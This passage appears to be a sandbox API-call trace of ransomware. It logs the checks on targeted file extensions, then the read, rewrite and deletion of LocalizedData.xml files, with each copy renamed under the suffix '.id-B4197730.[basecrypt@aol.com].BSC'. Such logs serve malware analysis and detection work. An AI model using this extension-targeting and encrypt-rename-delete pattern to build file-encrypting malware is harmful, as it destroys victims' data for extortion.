(lpString=".xls") returned 4 [0102.900] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.900] lstrlenW (lpString=".xlsx") returned 5 [0102.900] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.901] lstrlenW (lpString=".ppt") returned 4 [0102.901] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0102.901] lstrlenW (lpString=".zip") returned 4 [0102.901] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.901] lstrlenW (lpString=".rar") returned 4 [0102.901] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.901] lstrlenW (lpString=".bz2") returned 4 [0102.901] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.901] lstrlenW (lpString=".7z") returned 3 [0102.901] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0102.901] lstrlenW (lpString=".dbf") returned 4 [0102.901] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0102.901] lstrlenW (lpString=".1cd") returned 4 [0102.901] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0102.901] lstrlenW (lpString=".jpg") returned 4 [0102.901] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0102.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0102.901] lstrlenW (lpString=".doc") returned 4 [0102.901] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.901] lstrlenW (lpString=".docx") returned 5 [0102.901] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.901] lstrlenW (lpString=".pdf") returned 4 [0102.901] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.901] lstrlenW (lpString=".xls") returned 4 [0102.901] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.901] lstrlenW (lpString=".xlsx") returned 5 [0102.901] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.902] lstrlenW (lpString=".ppt") returned 4 [0102.902] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0102.902] lstrlenW (lpString=".zip") returned 4 [0102.902] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.902] lstrlenW (lpString=".rar") returned 4 [0102.902] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.902] lstrlenW (lpString=".bz2") returned 4 [0102.902] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.902] lstrlenW (lpString=".7z") returned 3 [0102.902] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0102.902] lstrlenW (lpString=".dbf") returned 4 [0102.902] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0102.902] lstrlenW (lpString=".1cd") returned 4 [0102.902] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0102.902] lstrlenW (lpString=".jpg") returned 4 [0102.902] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.902] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0102.902] lstrlenW (lpString="LocalizedData.xml") returned 17 [0102.902] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.902] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=79634) returned 1 [0102.903] CloseHandle (hObject=0x33c) returned 1 [0102.903] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80 [0102.903] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.903] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.903] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.903] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.903] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0102.903] GetLastError () returned 0x0 [0102.903] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x13712, lpOverlapped=0x0) returned 1 [0102.965] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x13720, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0x13720, lpOverlapped=0x0) returned 1 [0102.967] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x0, lpOverlapped=0x0) returned 1 [0102.967] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xf6, lpOverlapped=0x0) returned 1 [0102.967] SetEndOfFile (hFile=0x344) returned 1 [0102.967] CloseHandle (hObject=0x344) returned 1 [0102.973] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.973] SetEndOfFile (hFile=0x33c) returned 1 [0102.974] CloseHandle (hObject=0x33c) returned 1 [0102.974] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.975] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 1 [0102.975] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0102.975] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0102.975] lstrlenW (lpString=".doc") returned 4 [0102.975] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.975] lstrlenW (lpString=".docx") returned 5 [0102.975] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.975] lstrlenW (lpString=".pdf") returned 4 [0102.975] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.975] lstrlenW (lpString=".xls") returned 4 [0102.975] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.975] lstrlenW (lpString=".xlsx") returned 5 [0102.976] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.976] lstrlenW (lpString=".ppt") returned 4 [0102.976] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.976] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0102.976] lstrlenW (lpString=".zip") returned 4 [0102.976] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.976] lstrlenW (lpString=".rar") returned 4 [0102.976] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.976] lstrlenW (lpString=".bz2") returned 4 [0102.976] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.976] lstrlenW (lpString=".7z") returned 3 [0102.976] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.976] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0102.976] lstrlenW (lpString=".dbf") returned 4 [0102.976] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.976] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0102.976] lstrlenW (lpString=".1cd") returned 4 [0102.976] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.976] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0102.976] lstrlenW (lpString=".jpg") returned 4 [0102.976] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.976] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0102.976] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0102.976] lstrlenW (lpString=".doc") returned 4 [0102.977] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.977] lstrlenW (lpString=".docx") returned 5 [0102.977] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.977] lstrlenW (lpString=".pdf") returned 4 [0102.977] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.977] lstrlenW (lpString=".xls") returned 4 [0102.977] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.977] lstrlenW (lpString=".xlsx") returned 5 [0102.977] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.977] lstrlenW (lpString=".ppt") returned 4 [0102.977] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.977] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0102.977] lstrlenW (lpString=".zip") returned 4 [0102.977] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.977] lstrlenW (lpString=".rar") returned 4 [0102.977] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.977] lstrlenW (lpString=".bz2") returned 4 [0102.977] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.977] lstrlenW (lpString=".7z") returned 3 [0102.977] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.977] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0102.977] lstrlenW (lpString=".dbf") returned 4 [0102.977] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.977] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0102.977] lstrlenW (lpString=".1cd") returned 4 [0102.977] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.977] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0102.977] lstrlenW (lpString=".jpg") returned 4 [0102.978] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.978] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0102.978] lstrlenW (lpString="LocalizedData.xml") returned 17 [0102.978] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.978] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=79296) returned 1 [0102.978] CloseHandle (hObject=0x33c) returned 1 [0102.978] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80 [0102.978] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.979] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0102.979] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.979] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0102.979] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0102.979] GetLastError () returned 0x0 [0102.979] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x135c0, lpOverlapped=0x0) returned 1 [0103.031] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x135d0, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0x135d0, lpOverlapped=0x0) returned 1 [0103.034] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x0, lpOverlapped=0x0) returned 1 [0103.034] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.034] SetEndOfFile (hFile=0x344) returned 1 [0103.034] CloseHandle (hObject=0x344) returned 1 [0103.041] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0103.041] SetEndOfFile (hFile=0x33c) returned 1 [0103.042] CloseHandle (hObject=0x33c) returned 1 [0103.042] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.043] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 1 [0103.043] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0103.043] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0103.043] lstrlenW (lpString=".doc") returned 4 [0103.043] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.043] lstrlenW (lpString=".docx") returned 5 [0103.044] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.044] lstrlenW (lpString=".pdf") returned 4 [0103.044] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.044] lstrlenW (lpString=".xls") returned 4 [0103.044] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.044] lstrlenW (lpString=".xlsx") returned 5 [0103.044] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.044] lstrlenW (lpString=".ppt") returned 4 [0103.044] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.044] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0103.044] lstrlenW (lpString=".zip") returned 4 [0103.044] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.044] lstrlenW (lpString=".rar") returned 4 [0103.044] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.044] lstrlenW (lpString=".bz2") returned 4 [0103.044] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.044] lstrlenW (lpString=".7z") returned 3 [0103.044] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.044] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0103.044] lstrlenW (lpString=".dbf") returned 4 [0103.044] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.044] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0103.044] lstrlenW (lpString=".1cd") returned 4 [0103.044] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.044] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0103.044] lstrlenW (lpString=".jpg") returned 4 [0103.045] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0103.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0103.045] lstrlenW (lpString=".doc") returned 4 [0103.045] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.045] lstrlenW (lpString=".docx") returned 5 [0103.045] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.045] lstrlenW (lpString=".pdf") returned 4 [0103.045] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.045] lstrlenW (lpString=".xls") returned 4 [0103.045] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.045] lstrlenW (lpString=".xlsx") returned 5 [0103.045] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.045] lstrlenW (lpString=".ppt") returned 4 [0103.045] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0103.045] lstrlenW (lpString=".zip") returned 4 [0103.045] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.045] lstrlenW (lpString=".rar") returned 4 [0103.045] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.045] lstrlenW (lpString=".bz2") returned 4 [0103.045] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.045] lstrlenW (lpString=".7z") returned 3 [0103.045] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0103.045] lstrlenW (lpString=".dbf") returned 4 [0103.046] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0103.046] lstrlenW (lpString=".1cd") returned 4 [0103.046] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0103.046] lstrlenW (lpString=".jpg") returned 4 [0103.046] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.046] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0103.046] lstrlenW (lpString="LocalizedData.xml") returned 17 [0103.046] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0103.046] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=80738) returned 1 [0103.046] CloseHandle (hObject=0x33c) returned 1 [0103.047] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80 [0103.047] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.047] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0103.047] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0103.047] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0103.047] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0103.047] GetLastError () returned 0x0 [0103.047] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x13b62, lpOverlapped=0x0) returned 1 [0103.263] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x13b70, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0x13b70, lpOverlapped=0x0) returned 1 [0103.266] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x0, lpOverlapped=0x0) returned 1 [0103.266] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.266] SetEndOfFile (hFile=0x344) returned 1 [0103.266] CloseHandle (hObject=0x344) returned 1 [0103.268] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0103.268] SetEndOfFile (hFile=0x33c) returned 1 [0103.270] CloseHandle (hObject=0x33c) returned 1 [0103.270] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.270] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 1 [0103.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.271] lstrlenW (lpString=".doc") returned 4 [0103.271] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.271] lstrlenW (lpString=".docx") returned 5 [0103.271] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.271] lstrlenW (lpString=".pdf") returned 4 [0103.271] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.271] lstrlenW (lpString=".xls") returned 4 [0103.271] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.271] lstrlenW (lpString=".xlsx") returned 5 [0103.271] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.271] lstrlenW (lpString=".ppt") returned 4 [0103.271] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.271] lstrlenW (lpString=".zip") returned 4 [0103.271] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.271] lstrlenW (lpString=".rar") returned 4 [0103.271] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.271] lstrlenW (lpString=".bz2") returned 4 [0103.271] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.271] lstrlenW (lpString=".7z") returned 3 [0103.272] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.272] lstrlenW (lpString=".dbf") returned 4 [0103.272] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.272] lstrlenW (lpString=".1cd") returned 4 [0103.272] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.272] lstrlenW (lpString=".jpg") returned 4 [0103.272] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.272] lstrlenW (lpString=".doc") returned 4 [0103.272] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.272] lstrlenW (lpString=".docx") returned 5 [0103.272] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.272] lstrlenW (lpString=".pdf") returned 4 [0103.272] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.272] lstrlenW (lpString=".xls") returned 4 [0103.272] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.272] lstrlenW (lpString=".xlsx") returned 5 [0103.272] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.272] lstrlenW (lpString=".ppt") returned 4 [0103.272] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.273] lstrlenW (lpString=".zip") returned 4 [0103.273] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.273] lstrlenW (lpString=".rar") returned 